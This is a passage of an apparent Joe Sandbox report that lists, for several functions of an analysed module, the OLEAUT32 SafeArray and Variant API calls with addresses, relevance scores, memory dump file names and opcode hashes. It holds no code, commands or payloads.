SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6CF797F2

Part of subcall function 6CF73A90: SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF73B71
Part of subcall function 6CF73A90: SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF73B83

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF79D5F
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF79D72
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6CF79DAF

Part of subcall function 6CF73A90: SafeArrayDestroy.OLEAUT32(?), ref: 6CF73BCF

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF7A1BC
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF7A1CF
SafeArrayGetElement.OLEAUT32(?,?,00000000), ref: 6CF7A20C
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE63
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE73
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE86
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AE99
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEAC
SafeArrayDestroy.OLEAUT32(?), ref: 6CF7AEBF

Strings

A, xrefs: 6CF7AD44

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Bound$Destroy$Element
String ID: A
API String ID: 959723449-3554254475
Opcode ID: c790a9be2f4dabcbb8d826be3a237d251c02760bf50d840d963d6f19e045cca6
Instruction ID: d661a86cd713d4b9bae917b4785a238929bb699a76bde1344cd2be43f3ccaacb
Opcode Fuzzy Hash: c790a9be2f4dabcbb8d826be3a237d251c02760bf50d840d963d6f19e045cca6
Instruction Fuzzy Hash: DD23B170A012059FEB10DFA8CD84FDD77F9AF49308F158199EA09AB792DB31E945CB60

Function 6CF72970 Relevance: 25.8, APIs: 17, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF729F6
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF72A08
SafeArrayGetElement.OLEAUT32(?,?,?), ref: 6CF72A2F
VariantInit.OLEAUT32(?), ref: 6CF72ABB
VariantInit.OLEAUT32(?), ref: 6CF72B3F
VariantClear.OLEAUT32(?), ref: 6CF72C04
VariantClear.OLEAUT32(?), ref: 6CF72C0B
VariantClear.OLEAUT32(?), ref: 6CF72C12
VariantClear.OLEAUT32(?), ref: 6CF72C96
VariantClear.OLEAUT32(?), ref: 6CF72C9D
VariantClear.OLEAUT32(?), ref: 6CF72CD6
VariantClear.OLEAUT32(?), ref: 6CF72CDD
VariantClear.OLEAUT32(?), ref: 6CF72CE4
SafeArrayDestroy.OLEAUT32(?), ref: 6CF72D1B
VariantClear.OLEAUT32(?), ref: 6CF72D45
VariantClear.OLEAUT32(?), ref: 6CF72D4C
VariantClear.OLEAUT32(?), ref: 6CF72D53

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$BoundInit$DestroyElement
String ID:
API String ID: 214056513-0
Opcode ID: ea6528a5492f8e1783bbd5bf6c38569388e4554300690e741d27bbb19709e1ba
Instruction ID: d82308775e22e9e80b1147a0fdfb58fa1ec3f7fad85d8a60fee94ca2e5b99f20
Opcode Fuzzy Hash: ea6528a5492f8e1783bbd5bf6c38569388e4554300690e741d27bbb19709e1ba
Instruction Fuzzy Hash: C8C16972608341DFD710CFA8D888A5BBBF9EF89304F20895EF595C7260D672E845CB62

Function 6CF6AF30 Relevance: 24.3, APIs: 16, Instructions: 335
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6CF6AF75
VariantInit.OLEAUT32(?), ref: 6CF6AF7C
VariantInit.OLEAUT32(?), ref: 6CF6AF83
VariantCopy.OLEAUT32(?,?), ref: 6CF6B00D
VariantClear.OLEAUT32(?), ref: 6CF6B027
SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 6CF6B19C
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 6CF6B1AA
SafeArrayAccessData.OLEAUT32(?,?), ref: 6CF6B1C5
_memmove.LIBCMT ref: 6CF6B1E6
SafeArrayUnaccessData.OLEAUT32(?), ref: 6CF6B1EF
VariantClear.OLEAUT32(?), ref: 6CF6B237
VariantClear.OLEAUT32(?), ref: 6CF6B23E
VariantClear.OLEAUT32(?), ref: 6CF6B245
VariantClear.OLEAUT32(?), ref: 6CF6B29D
VariantClear.OLEAUT32(?), ref: 6CF6B2A4
VariantClear.OLEAUT32(?), ref: 6CF6B2AB

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$BoundData$AccessCopyUnaccess_memmove
String ID:
API String ID: 3403836469-0
Opcode ID: acb10db2833f97af4303ab886d72bc4d23bdbd37f73b2688258a3c746aa7d3bd
Instruction ID: 9a0d76f9c44af59115ee97cc8f42a2c08d65aabf5198aa327f468b195eb81029
Opcode Fuzzy Hash: acb10db2833f97af4303ab886d72bc4d23bdbd37f73b2688258a3c746aa7d3bd
Instruction Fuzzy Hash: 63C179B26083419FD700DF69C884A5BBBF9FB89304F148A6DF659C7650D730E909CBA2

Function 6CF7D410 Relevance: 24.3, APIs: 16, Instructions: 290
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6CF7D4B3
VariantInit.OLEAUT32 ref: 6CF7D4C5
VariantInit.OLEAUT32(?), ref: 6CF7D4CC
_malloc.LIBCMT ref: 6CF7D551
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6CF7D58B
SafeArrayCreateVector.OLEAUT32 ref: 6CF7D5A6
SafeArrayAccessData.OLEAUT32 ref: 6CF7D5B8

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayInitSafeVariant$CreateVector$AccessData_malloc
String ID:
API String ID: 1552365394-0
Opcode ID: 0c5b7b393515d814a2f9854ad182e69c1b17607cf7c87c404b251c341b432c6c
Instruction ID: 1c549b70aa692457312c8c742eac189a839e88fa84c19bea6bac60a5aef70894
Opcode Fuzzy Hash: 0c5b7b393515d814a2f9854ad182e69c1b17607cf7c87c404b251c341b432c6c
Instruction Fuzzy Hash: 5FB147766083019FD314CF28C880A5BBBF9FF89318F54895EE89597750E731E905CBA2

Function 6CF7D468 Relevance: 21.2, APIs: 14, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6CF7D4B3
VariantInit.OLEAUT32 ref: 6CF7D4C5
VariantInit.OLEAUT32(?), ref: 6CF7D4CC
_malloc.LIBCMT ref: 6CF7D551
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6CF7D58B
SafeArrayCreateVector.OLEAUT32 ref: 6CF7D5A6
SafeArrayAccessData.OLEAUT32 ref: 6CF7D5B8
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF7D601
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF7D63E

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$InitVariant$CreateElementVector$AccessData_malloc
String ID:
API String ID: 2723946344-0
Opcode ID: ddb7654224f299abe30bfa81384e139b0364ddbfa9141676648d4b309ce2fdbc
Instruction ID: c465a67404af800767401c4a466acb9f0977626951208bbc45c561c690e5ce28
Opcode Fuzzy Hash: ddb7654224f299abe30bfa81384e139b0364ddbfa9141676648d4b309ce2fdbc
Instruction Fuzzy Hash: E19147B56083019FD324CF28C880E5BBBF9BF89308F55895EE8959B751D770E905CBA2

Function 6CF744C0 Relevance: 19.8, APIs: 13, Instructions: 261
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6CF744FF
VariantInit.OLEAUT32(?), ref: 6CF74505
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6CF74516
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6CF74551
VariantClear.OLEAUT32(?), ref: 6CF7455A
SafeArrayCreateVector.OLEAUT32(0000000D,00000000,00000002), ref: 6CF74579
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6CF74594
SafeArrayPutElement.OLEAUT32(?,00000000,?), ref: 6CF745B5
SafeArrayPutElement.OLEAUT32(?,00000000,?), ref: 6CF745CE
std::tr1::_Xweak.LIBCPMT ref: 6CF7475A
SafeArrayDestroy.OLEAUT32(?), ref: 6CF74777
VariantClear.OLEAUT32(?), ref: 6CF74787
VariantClear.OLEAUT32(?), ref: 6CF7478D

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Variant$Element$Clear$CreateInitVector$DestroyXweakstd::tr1::_
String ID:
API String ID: 1304965753-0
Opcode ID: 907590fef4b0053f5d7c42768c0bb7774f9d53026866eef011b0597cdd44553c
Instruction ID: 4438a73ee46cbec4a9b976f1d75df380549000c46cbbcfe27530efcc9cbdbf94
Opcode Fuzzy Hash: 907590fef4b0053f5d7c42768c0bb7774f9d53026866eef011b0597cdd44553c
Instruction Fuzzy Hash: C8A13C75A012069BDB54DBA4C984EAFB7B9FF8D710F14462DE506ABB80C634F941CF60

Function 6CF7BF00 Relevance: 18.2, APIs: 12, Instructions: 215
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6CF7BF3D
VariantInit.OLEAUT32(?), ref: 6CF7BF4A
VariantInit.OLEAUT32(?), ref: 6CF7BF50
VariantInit.OLEAUT32(?), ref: 6CF7BF56
VariantInit.OLEAUT32 ref: 6CF7C04D
VariantCopy.OLEAUT32(?,?), ref: 6CF7C054
VariantInit.OLEAUT32 ref: 6CF7C085
VariantCopy.OLEAUT32(?,?), ref: 6CF7C08C
VariantClear.OLEAUT32(?), ref: 6CF7C118
VariantClear.OLEAUT32(?), ref: 6CF7C11E
VariantClear.OLEAUT32(?), ref: 6CF7C124
VariantClear.OLEAUT32(?), ref: 6CF7C12A

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Init$Clear$Copy
String ID:
API String ID: 3833040332-0
Opcode ID: aaaf4f1c8a1ed91da78c24d856138488b977bb524b26cd4fd51d7750cd156b64
Instruction ID: 4542d070ce0569b57491326af5d15075e963b87e14bcde82cccedbfbf4ed3057
Opcode Fuzzy Hash: aaaf4f1c8a1ed91da78c24d856138488b977bb524b26cd4fd51d7750cd156b64
Instruction Fuzzy Hash: 8881AC71A01219AFCB14EFA8D884FEEBBB9FF49308F14455DE905A7740DB71A905CBA0

Function 6CF764D0 Relevance: 18.2, APIs: 12, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6CF7650C
VariantInit.OLEAUT32(?), ref: 6CF76519
VariantInit.OLEAUT32(?), ref: 6CF76520
SafeArrayCreateVector.OLEAUT32(0000000C), ref: 6CF76531
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF7656D
VariantClear.OLEAUT32(?), ref: 6CF76576
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF765B6
VariantClear.OLEAUT32(?), ref: 6CF765BF
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF76666
VariantClear.OLEAUT32(?), ref: 6CF76677
VariantClear.OLEAUT32(?), ref: 6CF7667E
VariantClear.OLEAUT32(?), ref: 6CF76685

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$ArraySafe$Init$Element$CreateDestroyVector
String ID:
API String ID: 1625659656-0
Opcode ID: 46e69601101f72becedb0874744dedd29a0bcd0e57239a6f177caf54b786cce2
Instruction ID: 9f8eaa4fad9603b6504ad1e3fd33c28be3e92417d20dcc8f8e9086a902daf915
Opcode Fuzzy Hash: 46e69601101f72becedb0874744dedd29a0bcd0e57239a6f177caf54b786cce2
Instruction Fuzzy Hash: 215128B26183059FC701DF64D880A5BBBF9EFC9704F108A1EF965C7250DB71E9058BA2

Function 6CF7CB90 Relevance: 18.1, APIs: 12, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6CF7CBCA
VariantInit.OLEAUT32(?), ref: 6CF7CBD3
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6CF7CBE4
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6CF7CBF6
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF7CC0D
SafeArrayPutElement.OLEAUT32(?,?,?), ref: 6CF7CC39
VariantClear.OLEAUT32(?), ref: 6CF7CC42
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6CF7CC5D
SafeArrayPutElement.OLEAUT32(00000000,00000001,?), ref: 6CF7CC77
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF7CCEC
VariantClear.OLEAUT32(?), ref: 6CF7CCFC
VariantClear.OLEAUT32(?), ref: 6CF7CD02

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$Variant$Element$Clear$CreateInitVector$Destroy
String ID:
API String ID: 3548156019-0
Opcode ID: b0d1ac6a52efbcad8eeeb0406de39f4fa358af09af9f80d9f2c6962d0cf903e9
Instruction ID: db0968ec4a35d2255d7be15e6e3f8c916daf96eba25ac26b9549df8f6b19aacd
Opcode Fuzzy Hash: b0d1ac6a52efbcad8eeeb0406de39f4fa358af09af9f80d9f2c6962d0cf903e9
Instruction Fuzzy Hash: F75140B5E0024A9FDB00DFA8D885EDEBFB8FF49714F00815AEA15A7741D770A905CBA0

Function 6CF6A350 Relevance: 16.7, APIs: 11, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6CF6A393
VariantInit.OLEAUT32(?), ref: 6CF6A39A
VariantInit.OLEAUT32(?), ref: 6CF6A3A1
VariantCopy.OLEAUT32(?,?), ref: 6CF6A3EF
VariantClear.OLEAUT32(?), ref: 6CF6A409
VariantClear.OLEAUT32(?), ref: 6CF6A50A
VariantClear.OLEAUT32(?), ref: 6CF6A511
VariantClear.OLEAUT32(?), ref: 6CF6A518
VariantClear.OLEAUT32(?), ref: 6CF6A55E
VariantClear.OLEAUT32(?), ref: 6CF6A565
VariantClear.OLEAUT32(?), ref: 6CF6A56C

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$Init$Copy
String ID:
API String ID: 3214764494-0
Opcode ID: 1339953c10d90adbfbfac41319a0b977c06a441b61f4905916bb2b45220804ec
Instruction ID: 1d56ce04881985ce8da0479845809a36c077efcd68d635a6be3aae6fe8ae58bf
Opcode Fuzzy Hash: 1339953c10d90adbfbfac41319a0b977c06a441b61f4905916bb2b45220804ec
Instruction Fuzzy Hash: 977124726083419FD300DF6AC884A5BB7E8FF89714F108A5DFA59CB691DB31E905CB62

Function 6CF7CD20 Relevance: 15.5, APIs: 10, Instructions: 485
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 6CF7CD5C
VariantInit.OLEAUT32(?), ref: 6CF7CD65
VariantInit.OLEAUT32(?), ref: 6CF7CD6B
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF7CD76
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF7CDAA
VariantClear.OLEAUT32(?), ref: 6CF7CDB7
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF7D2A5
VariantClear.OLEAUT32(?), ref: 6CF7D2B5
VariantClear.OLEAUT32(?), ref: 6CF7D2BB
VariantClear.OLEAUT32(?), ref: 6CF7D2C1

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Variant$Clear$ArrayInitSafe$CreateDestroyElementVector
String ID:
API String ID: 2515392200-0
Opcode ID: 41181a5cbab56cea24da0e02ccd4bbb5ccb1df8a416a54b8d681d8934c3c0bad
Instruction ID: 3b0cb4f5e9ce283e10fb465340ec6f1afedf356e0e84640321ec3b4e9bacf40a
Opcode Fuzzy Hash: 41181a5cbab56cea24da0e02ccd4bbb5ccb1df8a416a54b8d681d8934c3c0bad
Instruction Fuzzy Hash: 43120775A15705AFC758DBA8DD84DAAB3B9BF8C300F14466CF50AABB91CA30F841CB50

Function 6CF766A0 Relevance: 15.2, APIs: 10, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32 ref: 6CF766DB
VariantInit.OLEAUT32 ref: 6CF766EA
SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000002), ref: 6CF76700
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF7673A
VariantClear.OLEAUT32(?), ref: 6CF76747
SafeArrayPutElement.OLEAUT32(00000000,?,?), ref: 6CF76787
VariantClear.OLEAUT32(?), ref: 6CF76794
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF76849
VariantClear.OLEAUT32(?), ref: 6CF7685A
VariantClear.OLEAUT32(?), ref: 6CF76861

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

